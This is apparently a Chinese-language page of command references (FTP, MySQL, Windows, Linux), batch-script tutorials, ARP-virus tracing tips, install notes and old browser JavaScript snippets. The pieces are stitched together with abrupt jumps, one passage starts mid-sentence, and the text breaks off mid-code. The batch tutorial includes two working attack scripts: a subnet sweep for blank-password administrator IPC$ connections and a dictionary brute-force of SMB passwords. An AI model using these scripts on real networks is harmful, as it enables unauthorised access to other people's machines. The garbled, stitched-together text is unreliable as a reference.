rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
#5 五:
MYSQL 命令:
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格,其它也一样)
exit 退出MYSQL
mysql*** -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \”密码\”; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql;
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名;
create table 表名 (字段设定列表); 建表
drop database 库名;
drop table 表名; 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump –opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin
目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。
#6 六:
Linux系统下基本命令: 要区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp连接上某服务器(同win2K)
附:批处理命令与变量
1:for命令及变量 基本格式:
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$
pass /user:user 中ip为%1,pass为%2 ,user为%3
(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个”1″指起始值,第二个”1″指增长量,第三个”254″指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }
command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
command_parameters:为特定命令指定参数或命令行开关
IN (set):指在(set)中取值;DO command :指执行command
参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。
用法举例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G
/user:***istrator | find “命令成功完成” >>test.txt
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立***istrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有”命令成功完成”信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。
#7 七:
2:if命令及变量 基本格式:
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
0 指发现并成功执行(真);1 指没有发现、没执行(假)。
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
例:“if “%2%”==”4″ goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加” “)
IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到”:end”标签处。
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”
消除病毒对网内其他主机的影响,最后再去清楚病毒(当然我这里就不用了,重启之后病毒就全消失了)。
这里我主要讲述一下如何找到ARP病毒源,我介绍三种方法,当然大家也可以采用其他的方法,只要能找到病毒源即可。
方法一:使用Sniffer抓包
在网络中的任意一台主机上运行抓包软件,捕获所有到达本主机的数据包。如果发现某个IP不断发送ARP Request请求包,这台主机一定就是病毒源。
原理:无论是何种ARP病毒变种,行为方式主要有两种:一是欺骗网关,二是欺骗网内的所有主机。最终的结果是在网关的ARP缓存表中,网内所有活动主机的MAC地址均为中病毒主机的MAC地址;网内所有主机的ARP缓存表中,网关的MAC地址也都是中病毒主机的MAC地址。前者保证了从网关到网内主机的数据报被发送到中毒主机,后者则相反,使得主机发往网关的数据报均被发送到中毒主机。
方法二:使用arp -a命令
任意选择两台不能上网的主机,在命令提示符状态下运行arp -a命令,如果在结果中,两台电脑除了网关的IP,MAC地址对应项外,都包含了另外一个IP,这可以断定这个IP就是病毒源。
原理:一般情况下,网内的主机只和网关通信。正常情况下,一台主机的ARP缓存中应该只有网关的MAC地址。如果有了其他主机的MAC地址,说明本地主机和这台主机最近有过数据通信发生。如果某台主机既不是网关也不是服务器,但和网内的其他主机都有数据通信活动,且此时又是ARP病毒的发作时期,那么病毒源就是他了。
方法三:使用tracert命令
在任意一台受影响的主机上,在命令提示符状态下运行tracert命令,具体的命令行为:tracert IP(该IP为外网地址),在跟踪一个外网地址时,第一跳却是另一个IP(不是网关地址),则这个IP就是病毒源。
原理:中毒主机在受影响的主机和网关之间,扮演着“中间人”的角色。所有本应该到达网关的数据包,由于错误的MAC地址,均被发送到了中毒主机上,此时中毒主机在该网络中充当缺省网关的作用。
虽然给大家介绍的是三种查找ARP病毒源方法,但是其基本原理都是一样的,这里我给大家介绍一款检测ARP病毒源的软件,具体点说就是检测网卡的工作模式(网卡工作在混杂模式很有可能就是中了ARP病毒)。这里我只给出软件下载地址,具体的使用方法请大家自行摸索。
SnifferDetector软件介绍:
通过检测对方网卡是否处于混杂模式(来检测是否对方正在使用Sniffer嗅谈) 运行需要WinpCap支持,如果没有安装,请先安装Winpcap
1.下载MySQL5.0的免安装版本mysql-noinstall-5.0.27-win32.zip。
将其解压缩至E:\Program Files\mysql-5.0.27目录。
编辑配置文件my.ini。拷贝 my-large.ini 到 my.ini,这里是E:\Program Files\mysql-5.0.27\my.ini。
my.ini文件的内容
[WinMySQLAdmin]
# 指定mysql服务启动启动的文件
Server=E:\\Program Files\\mysql-5.0.27\\bin\\mysqld-nt.exe
[mysqld]
# 设置mysql的安装目录
basedir=E:\\Program Files\\mysql-5.0.27
# 设置mysql数据库的数据的存放目录,必须是data,或者是\\\\xxx\\data
datadir=E:\\Program Files\\mysql-5.0.27\\data
# 设置mysql服务器
的字符集
default-character-set=gbk
[client]
# 设置mysql客户端的字符集
default-character-set=gbk
这里的路径使用正斜线,而非反斜线;如果使用反斜线,必须成对使用。如果3306端口被系统已有MySQL安装所占用,这里须更改端口号
打开Windows命令行窗口,执行如下命令:
C:\>mysqld-nt.exe –install MySQL-noinstall
–defaults-file=”E:\Program Files\mysql-5.0.27\my.ini” (安装服务)
C:\>net start MySQL-noinstall (启动)
C:\>net stop MySQL-noinstall (停止)
在WINDOWS 2008R2版本中安装了BIND9版本的DNS服务器软件
BIND9似乎可以做出像花生壳一样的DDNS服务,学习这个的目就是为了动态域名的解析,跟据客户IP的变化自动进行域名服务解析。
安装过程
1 在官方网站下载最新版本的BIND9.7 http://oldwww.isc.org/sw/dl?pkg=bind9/9.7.0b1/BIND9.7.0b1.zipname=BIND
9.7.0b1 Windows XP/2003/2008 Binary Kit&noframes=1
2 解压缩文件在任一目录
3 右键管理员权限执行安装程序 输入用户名和密码 当然是系统默认的管理员administrator and password
4 修改程序安装目当 将system32 改为 syswow64 注意 不要勾选安装完成后开始服务,因为还没有配置 会提示错误
5 安装 install 提示 选择 否 再提示 选择 是
6 设置c:\windows\syswow64\dns 文件夹权限 右键 安全 添加 administrator
6 配置 rndc.key rndc.conf named.root named.conf loacl.zone loaclhost.local
7 服务 选择 ISC BIND 属性 登陆 选择 administrator 确认之后 开始服务
事件源对象 event.srcElement .tagName event.srcElement .type 捕获释放 event.srcElement .setCapture ( ) ; event.srcElement .releaseCapture ( ) ; 事件按键 event.keyCode event.shiftKey event.altKey event.ctrlKey 事件返回值 event.returnValue 鼠标位置 event.x event.y 窗体活动元素 document.activeElement 绑定事件 document.captureEvents ( Event.KEYDOWN ) ; 访问窗体元素 document.all ( "txt" ) .focus ( ) ; document.all ( "txt" ) .select ( ) ; 窗体命令 document.execCommand 窗体COOKIE document.cookie 菜单事件 document.oncontextmenu 创建元素 document.createElement ( "SPAN" ) ; 根据鼠标获得元素: document.elementFromPoint ( event.x , event.y ) .tagName == "TD document.elementFromPoint(event.x,event.y).appendChild(ms) 窗体图片 document.images[索引] 窗体事件绑定 document.onmousedown=scrollwindow; 元素 document.窗体.elements[索引] 对象绑定事件 document.all.xxx.detachEvent('onclick',a); 插件数目 navigator.plugins 取变量类型 typeof($js_libpath) == " undefined" 下拉框 下拉框.options[索引] 下拉框.options.length 查找对象 document.getElementsByName(" r1"); document.getElementById(id); 定时 timer=setInterval('scrollwindow()',delay); clearInterval(timer); UNCODE编码 escape() ,unescape 父对象 obj.parentElement(dhtml) obj.parentNode(dom) 交换表的行 TableID.moveRow(2,1) 替换CSS document.all.csss.href = " a.css "; 并排显示 display:inline 隐藏焦点 hidefocus=true 根据宽度换行 style=" word- break : break- all" 自动刷新 <meta HTTP-EQUIV=" refresh" CONTENT=" 8 ; URL= http: //c98.yeah.net"> 简单邮件 < a href= "mailto:aaa@bbb.com?subject=ccc&body=xxxyyy" target= "_blank" > 快速转到位置 obj.scrollIntoView ( true ) 锚 & lt; a name = "first" & gt; & lt; a href= "#first" & gt; anchors</ a> 网页传递参数 location.search ( ) ; 可编辑 obj.contenteditable = true 执行菜单命令 obj.execCommand 双字节字符 /[^\x00-\xff]/ 汉字 /[\u4e00-\u9fa5]/ 让英文字符串超出表格宽度自动换行 word- wrap: break- word; word- break : break- all; 透明背景 & lt; IFRAME src= "1.htm" width= 300 height= 180 allowtransparency& gt;& lt;/ iframe& gt; 获得style内容 obj.style .cssText HTML标签 document.documentElement .innerHTML 第一个style标签 document.styleSheets [ 0 ] style标签里的第一个样式 document.styleSheets [ 0 ] .rules [ 0 ] 防止点击空链接时,页面往往重置到页首端。 & lt; a href= "javascript:function()" & gt; word[ / url] 上一网页源 asp: request.servervariables ( "HTTP_REFERER" ) javascript: document.referrer 释放内存 CollectGarbage( ) ; 禁止右键 document.oncontextmenu = function ( ) { return false ; } 禁止保存 & lt; noscript& gt;& lt; iframe src= "*.htm" & gt;& lt;/ iframe& gt;& lt;/ noscript& gt; 禁止选取 & lt; body oncontextmenu= "return false" ondragstart= "return false" onselectstart = "return false" onselect= "document.selection.empty()" oncopy= "document.selection.empty()" onbeforecopy= "return false" onmouseup= "document.selection.empty()> 禁止粘贴 <input type=text onpaste=" return false "> 地址栏图标 <link rel=" Shortcut Icon" href=" favicon.ico "> favicon.ico 名字最好不变16*16的16色,放虚拟目录根目录下 收藏栏图标 <link rel=" Bookmark" href=" favicon.ico "> 查看源码 <input type=button value=查看网页源代码 onclick=" window.location = 'view-source:' + '<a href="http://www.csdn.net/" target="_blank">http://www.csdn.net/</a>' "> 关闭输入法 <input style=" ime- mode: disabled"> 自动全选 <input type=text name=text1 value=" 123 " onfocus=" this .select ( ) "> ENTER键可以让光标移到下一个输入框 <input onkeydown=" if ( event.keyCode == 13 ) event.keyCode = 9 "> 文本框的默认值 <input type=text value=" 123 " onfocus=" alert ( this .defaultValue ) "> title换行 obj.title = " 123 & amp; #13sdfs& amp; #32 " 获得时间所代表的微秒 var n1 = new Date(" 2004 - 10 - 10 ".replace(/-/g, " \/ ")).getTime() 窗口是否关闭 win.closed checkbox扁平 <input type=checkbox style=" position: absolute; clip: rect( 5px 15px 15px 5px) "> 获取选中内容 document.selection.createRange().duplicate().text 自动完成功能 <input type=text autocomplete=on>打开该功能 <input type=text autocomplete=off>关闭该功能 窗口最大化 <body onload=" window.resizeTo ( window.screen .width - 4 , window.screen .height - 50 ) ; window.moveTo ( - 4 ,- 4 ) "> 无关闭按钮IE window.open(" aa.htm ", " meizz", " fullscreen= 7 "); 统一编码/解码 alert(decodeURIComponent(encodeURIComponent(" http: //你好.com?as= hehe"))) encodeURIComponent对":" 、"/" 、";" 和 "?" 也编码 表格行指示 & lt; tr onmouseover= "this.bgColor='#f0f0f0'" onmouseout= "this.bgColor='#ffffff'" & gt; //各种尺寸 s += "\r \n 网页可见区域宽:" + document.body .clientWidth ; s += "\r \n 网页可见区域高:" + document.body .clientHeight ; s += "\r \n 网页可见区域高:" + document.body .offsetWeight + " (包括边线的宽)" ; s += "\r \n 网页可见区域高:" + document.body .offsetHeight + " (包括边线的宽)" ; s += "\r \n 网页正文全文宽:" + document.body .scrollWidth ; s += "\r \n 网页正文全文高:" + document.body .scrollHeight ; s += "\r \n 网页被卷去的高:" + document.body .scrollTop ; s += "\r \n 网页被卷去的左:" + document.body .scrollLeft ; s += "\r \n 网页正文部分上:" + window.screenTop ; s += "\r \n 网页正文部分左:" + window.screenLeft ; s += "\r \n 屏幕分辨率的高:" + window.screen .height ; s += "\r \n 屏幕分辨率的宽:" + window.screen .width ; s += "\r \n 屏幕可用工作区高度:" + window.screen .availHeight ; s += "\r \n 屏幕可用工作区宽度:" + window.screen .availWidth ; //过滤数字 & lt; input type= text onkeypress= "return event.keyCode>=48&&event.keyCode<=57||(this.value.indexOf('.')<0?event.keyCode==46:false)" onpaste= "return !clipboardData.getData('text').match(/\D /)" ondragenter= "return false" & gt; //特殊用途 & lt; input type= button value= 导入收藏夹 onclick= "window.external.ImportExportFavorites(true,'<a href=" http: //localhost/" target="_blank">http://localhost</a>');"> & lt; input type= button value= 导出收藏夹 onclick= "window.external.ImportExportFavorites(false,'<a href=" http: //localhost/" target="_blank">http://localhost</a>');"> & lt; input type= button value= 整理收藏夹 onclick= "window.external.ShowBrowserUI('OrganizeFavorites', null)" & gt; & lt; input type= button value= 语言设置 onclick= "window.external.ShowBrowserUI('LanguageDialog', null)" & gt; & lt; input type= button value= 加入收藏夹 onclick= "window.external.AddFavorite('<a href=" http: //www.google.com/" target="_blank">http://www.google.com/</a>', 'google')"> & lt; input type= button value= 加入到频道 onclick= "window.external.addChannel('<a href=" http: //www.google.com/" target="_blank">http://www.google.com/</a>')"> & lt; input type= button value= 加入到频道 onclick= "window.external.showBrowserUI('PrivacySettings',null)" & gt; //不缓存 & lt; META HTTP- EQUIV= "pragma" CONTENT= "no-cache" & gt; & lt; META HTTP- EQUIV= "Cache-Control" CONTENT= "no-cache, must-revalidate" & gt; & lt; META HTTP- EQUIV= "expires" CONTENT= "0" & gt; //正则匹配 匹配中文字符的正则表达式: [ \u4e00- \u9fa5] 匹配双字节字符( 包括汉字在内) :[ ^ \x00- \xff] 匹配空行的正则表达式:\n[ \s| ] * \r 匹配HTML标记的正则表达式:/& lt; ( .* ) & gt; .*& lt; \/ \1 & gt;|& lt; ( .* ) \/& gt;/ 匹配首尾空格的正则表达式:( ^ \s* ) | ( \s* $) (像vbscript那样的trim函数) 匹配Email地址的正则表达式:\w+ ( [ -+ .] \w+ ) *@ \w+ ( [ - .] \w+ ) * \.\w+ ( [ - .] \w+ ) * 匹配网址URL的正则表达式:http: //([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)? 以下是例子: 利用正则表达式限制网页表单里的文本框输入内容: 用正则表达式限制只能输入中文:onkeyup= "value=value.replace(/[^\u 4E00-\u 9FA5]/g,'')" onbeforepaste= "clipboardData.setData('text',clipboardData.getData('text').replace(/[^\u 4E00-\u 9FA5]/g,''))" 1.用正则表达式限制只能输入全角字符: onkeyup= "value=value.replace(/[^\u FF00-\u FFFF]/g,'')" onbeforepaste= "clipboardData.setData('text',clipboardData.getData('text').replace(/[^\u FF00-\u FFFF]/g,''))" 2.用正则表达式限制只能输入数字:onkeyup= "value=value.replace(/[^\d ]/g,'') " onbeforepaste= "clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d ]/g,''))" 3.用正则表达式限制只能输入数字和英文:onkeyup= "value=value.replace(/[\W ]/g,'') " onbeforepaste= "clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d ]/g,''))" //消除图像工具栏 & lt; IMG SRC= "mypicture.jpg" HEIGHT= "100px" WIDTH= "100px" GALLERYIMG= "false" & gt; or & lt; head& gt; & lt; meta http- equiv= "imagetoolbar" content= "no" & gt; & lt;/ head& gt; //无提示关闭 function Close ( ) { var ua= navigator.userAgent var ie= navigator.appName == "Microsoft Internet Explorer" ? true : false if ( ie) { var IEversion= parseFloat( ua.substring ( ua.indexOf ( "MSIE " ) + 5 , ua.indexOf ( ";" , ua.indexOf ( "MSIE " ) ) ) ) if ( IEversion& lt; 5.5 ) { var str = '<object id=noTipClose classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">' str += '<param name="Command" value="Close"></object>' ; document.body .insertAdjacentHTML ( "beforeEnd" , str) ; document.all .noTipClose .Click ( ) ; } else { window.opener = null ; window.close ( ) ; } } else { window.close ( ) } } //取得控件得绝对位置(1) & lt; script language= "javascript" & gt; function getoffset( e) { var t= e.offsetTop ; var l= e.offsetLeft ; while ( e= e.offsetParent ) { t+= e.offsetTop ; l+= e.offsetLeft ; } var rec = new Array( 1 ) ; rec[ 0 ] = t; rec[ 1 ] = l; return rec } & lt;/ script& gt; //获得控件的绝对位置(2) oRect = obj.getBoundingClientRect ( ) ; oRect.left oRect. //最小化,最大化,关闭 & lt; object id= min classid= "clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11" & gt; & lt; param name = "Command" value= "Minimize" & gt;& lt;/ object& gt; & lt; object id= max classid= "clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11" & gt; & lt; param name = "Command" value= "Maximize" & gt;& lt;/ object& gt; & lt; OBJECT id= close classid= "clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" & gt; & lt; PARAM NAME = "Command" value= "Close" & gt;& lt;/ OBJECT& gt; & lt; input type= button value= 最小化 onclick= min.Click ( ) & gt; & lt; input type= button value= 最大化 onclick= max.Click ( ) & gt; & lt; input type= button value= 关闭 onclick= close .Click ( ) & gt; //光标停在文字最后 & lt; script language= "javascript" & gt; function cc( ) { var e = event.srcElement ; var r = e.createTextRange ( ) ; r.moveStart ( 'character' , e.value .length ) ; r.collapse ( true ) ; r.select ( ) ; } & lt;/ script& gt; & lt; input type= text name = text1 value= "123" onfocus = "cc()" & gt; //页面进入和退出的特效 进入页面& lt; meta http- equiv= "Page-Enter" content= "revealTrans(duration=x, transition=y)" & gt; 推出页面& lt; meta http- equiv= "Page-Exit" content= "revealTrans(duration=x, transition=y)" & gt; 这个是页面被载入和调出时的一些特效。duration表示特效的持续时间,以秒为单位。transition表示使 用哪种特效,取值为1 - 23 : 0 矩形缩小 1 矩形扩大 2 圆形缩小 3 圆形扩大 4 下到上刷新 5 上到下刷新 6 左到右刷新 7 右到左刷新 8 竖百叶窗 9 横百叶窗 10 错位横百叶窗 11 错位竖百叶窗 12 点扩散 13 左右到中间刷新 14 中间到左右刷新 15 中间到上下 16 上下到中间 17 右下到左上 18 右上到左下 19 左上到右下 20 左下到右上 21 横条 22 竖条 23 //网页是否被检索 & lt; meta name = "ROBOTS" content= "属性值" & gt; 其中属性值有以下一些: 属性值为"all" : 文件将被检索,且页上链接可被查询; 属性值为"none" : 文件不被检索,而且不查询页上的链接; 属性值为"index" : 文件将被检索; 属性值为"follow" : 查询页上的链接; 属性值为"noindex" : 文件不检索,但可被查询链接; 属性值为"nofollow" : //打印分页 & lt; p style= "page-break-after:always" & gt; page1& lt;/ p& gt; & lt; p style= "page-break-after:always" & gt; page2& lt;/ p& gt; //设置打印 & lt; object id= "factory" style= "display:none" viewastext classid= "clsid:1663ed61-23eb-11d2-b92f-008048fdd814" codebase= "<a href=" http: //www.meadroid.com/scriptx/ScriptX.cab#Version=5,60,0,360" target="_blank">http://www.meadroid.com/scriptx/ScriptX.cab#Version=5,60,0,360</a>" & gt;& lt;/ object& gt; & lt; input type= button value= 页面设置 onclick= "factory.printing.PageSetup()" & gt; & lt; input type= button value= 打印预览 onclick= "factory.printing.Preview()" & gt; & lt; script language= javascript& gt; function window.onload ( ) { // -- advanced features factory.printing .SetMarginMeasure ( 2 ) // measure margins in inches factory.printing .SetPageRange ( false , 1 , 3 ) // need pages from 1 to 3 factory.printing .printer = "HP DeskJet 870C" factory.printing .copies = 2 factory.printing .collate = true factory.printing .paperSize = "A4" factory.printing .paperSource = "Manual feed" // -- basic features factory.printing .header = "居左显示&b居中显示&b居右显示页码,第&p页/共&P页" factory.printing .footer = "(自定义页脚)" factory.printing .portrait = false factory.printing .leftMargin = 0.75 factory.printing .topMargin = 1.5 factory.printing .rightMargin = 0.75 factory.printing .bottomMargin = 1.5 } function Print ( frame) { factory.printing .Print ( true , frame) // print with prompt } & lt;/ script& gt; & lt; input type= button value= "打印本页" onclick= "factory.printing.Print(false)" & gt; & lt; input type= button value= "页面设置" onclick= "factory.printing.PageSetup()" & gt; & lt; input type= button value= "打印预览" onclick= "factory.printing.Preview()" & gt;< br style= "clear: both;" /> < a href= "http://www.meadroid.com/scriptx/docs/printdoc.htm?static%22 target=" > 具体使用手册,更多信息,点这里</ a> //自带的打印预览 WebBrowser.ExecWB ( 1 , 1 ) 打开 Web.ExecWB ( 2 , 1 ) 关闭现在所有的IE窗口,并打开一个新窗口 Web.ExecWB ( 4 , 1 ) 保存网页 Web.ExecWB ( 6 , 1 ) 打印 Web.ExecWB ( 7 , 1 ) 打印预览 Web.ExecWB ( 8 , 1 ) 打印页面设置 Web.ExecWB ( 10 , 1 ) 查看页面属性 Web.ExecWB ( 15 , 1 ) 好像是撤销,有待确认 Web.ExecWB ( 17 , 1 ) 全选 Web.ExecWB ( 22 , 1 ) 刷新 Web.ExecWB ( 45 , 1 ) 关闭窗体无提示 & lt; style media= print& gt; .Noprint { display: none; } & lt;!-- 用本样式在打印时隐藏非打印项目--& gt; .PageNext { page- break- after: always; } & lt;!-- 控制分页--& gt; & lt;/ style& gt; & lt; object id= "WebBrowser" width= 0 height= 0 classid= "CLSID:8856F961-340A-11D0-A96B-00C04FD705A2" & gt; & lt;/ object& gt; & lt; center class = "Noprint" & gt; & lt; input type= button value= 打印 onclick= document.all .WebBrowser .ExecWB ( 6 , 1 ) & gt; & lt; input type= button value= 直接打印 onclick= document.all .WebBrowser .ExecWB ( 6 , 6 ) & gt; & lt; input type= button value= 页面设置 onclick= document.all .WebBrowser .ExecWB ( 8 , 1 ) & gt; & lt;/ p& gt; & lt; p& gt; & lt; input type= button value= 打印预览 onclick= document.all .WebBrowser .ExecWB ( 7 , 1 ) & gt; & lt;/ center& gt; //去掉打印时的页眉页脚 & lt; script language= "JavaScript" & gt; var HKEY_Root, HKEY_Path, HKEY_Key; HKEY_Root= "HKEY_CURRENT_USER" ; HKEY_Path= "\\ Software\\ Microsoft\\ Internet Explorer\\ PageSetup\\ " ; //设置网页打印的页眉页脚为空 function PageSetup_Null( ) { try { var Wsh= new ActiveXObject( "WScript.Shell" ) ; HKEY_Key= "header" ; Wsh.RegWrite ( HKEY_Root+ HKEY_Path+ HKEY_Key, "" ) ; HKEY_Key= "footer" ; Wsh.RegWrite ( HKEY_Root+ HKEY_Path+ HKEY_Key, "" ) ; } catch ( e) { } } //设置网页打印的页眉页脚为默认值 function PageSetup_Default( ) { try { var Wsh= new ActiveXObject( "WScript.Shell" ) ; HKEY_Key= "header" ; Wsh.RegWrite ( HKEY_Root+ HKEY_Path+ HKEY_Key, "&w&b页码,&p/&P" ) ; HKEY_Key= "footer" ; Wsh.RegWrite ( HKEY_Root+ HKEY_Path+ HKEY_Key, "&u&b&d" ) ; } catch ( e) { } } & lt;/ script& gt; & lt; input type= "button" value= "清空页码" onclick= PageSetup_Null( ) & gt; & lt; input type= "button" value= "恢复页码" onclick= PageSetup_Default( ) & gt; //浏览器验证 function checkBrowser( ) { this .ver = navigator.appVersion this .dom = document.getElementById ? 1 : 0 this .ie6 = ( this .ver .indexOf ( "MSIE 6" ) & gt;- 1 & amp;& amp; this .dom ) ? 1 : 0 ; this .ie5 = ( this .ver .indexOf ( "MSIE 5" ) & gt;- 1 & amp;& amp; this .dom ) ? 1 : 0 ; this .ie4 = ( document.all & amp;& amp; ! this .dom ) ? 1 : 0 ; this .ns5 = ( this .dom & amp;& amp; parseInt( this .ver ) & gt;= 5 ) ? 1 : 0 ; this .ns4 = ( document.layers & amp;& amp; ! this .dom ) ? 1 : 0 ; this .mac = ( this .ver .indexOf ( 'Mac' ) & gt; - 1 ) ? 1 : 0 ; this .ope = ( navigator.userAgent .indexOf ( 'Opera' ) & gt;- 1 ) ; this .ie = ( this .ie6 || this .ie5 || this .ie4 ) this .ns = ( this .ns4 || this .ns5 ) this .bw = ( this .ie6 || this .ie5 || this .ie4 || this .ns5 || this .ns4 || this .mac || this .ope ) this .nbw = ( ! this .bw ) return this ; } //计算内容宽和高 & lt; SCRIPT language= "javascript" & gt; function test( obj) { var range = obj.createTextRange ( ) ; alert ( "内容区宽度: " + range.boundingWidth + "px\r \n 内容区高度: " + range.boundingHeight + "px" ) ; } & lt;/ SCRIPT& gt; & lt; BODY& gt; & lt; Textarea id= "txt" height= "150" & gt; sdf& lt;/ textarea& gt;& lt; INPUT type= "button" value= "计算内容宽度" onClick= "test(txt)" & gt; & lt;/ BODY& gt; //无模式的提示框 function modelessAlert( Msg) { window.showModelessDialog ( "javascript:alert(\" " + escape( Msg) + "\" );window.close();" , "" , "status:no;resizable:no;help:no;dialogHeight:height:30px;dialogHeight:40px;" ) ; } //屏蔽按键 & lt; html& gt; & lt; head& gt; & lt; meta http- equiv= "Content-Type" content= "text/html; charset=gb2312" & gt; & lt; noscript& gt;& lt; meta http- equiv= "refresh" content= "0;url=about:noscript" & gt;& lt;/ noscript& gt; & lt; title& gt; 屏蔽鼠标右键、Ctrl+ N、Shift+ F10、Alt+ F4、F11、F5刷新、退格键& lt;/ title& gt; & lt;/ head& gt; & lt; body& gt; & lt; script language= "Javascript" & gt;& lt;!-- //屏蔽鼠标右键、Ctrl+N、Shift+F10、F11、F5刷新、退格键 //Author: meizz(梅花雨) 2002-6-18 function document.oncontextmenu ( ) { event.returnValue = false ; } //屏蔽鼠标右键 function window.onhelp ( ) { return false } //屏蔽F1帮助 function document.onkeydown ( ) { if ( ( window.event .altKey ) & amp;& amp; ( ( window.event .keyCode == 37 ) || //屏蔽 Alt+ 方向键 ← ( window.event .keyCode == 39 ) ) ) //屏蔽 Alt+ 方向键 → { alert ( "不准你使用ALT+方向键前进或后退网页!" ) ; event.returnValue = false ; } /* 注:这还不是真正地屏蔽 Alt+ 方向键, 因为 Alt+ 方向键弹出警告框时,按住 Alt 键不放, 用鼠标点掉警告框,这种屏蔽方法就失效了。以后若 有哪位高手有真正屏蔽 Alt 键的方法,请告知。*/ if ( ( event.keyCode == 8 ) || //屏蔽退格删除键 ( event.keyCode == 116 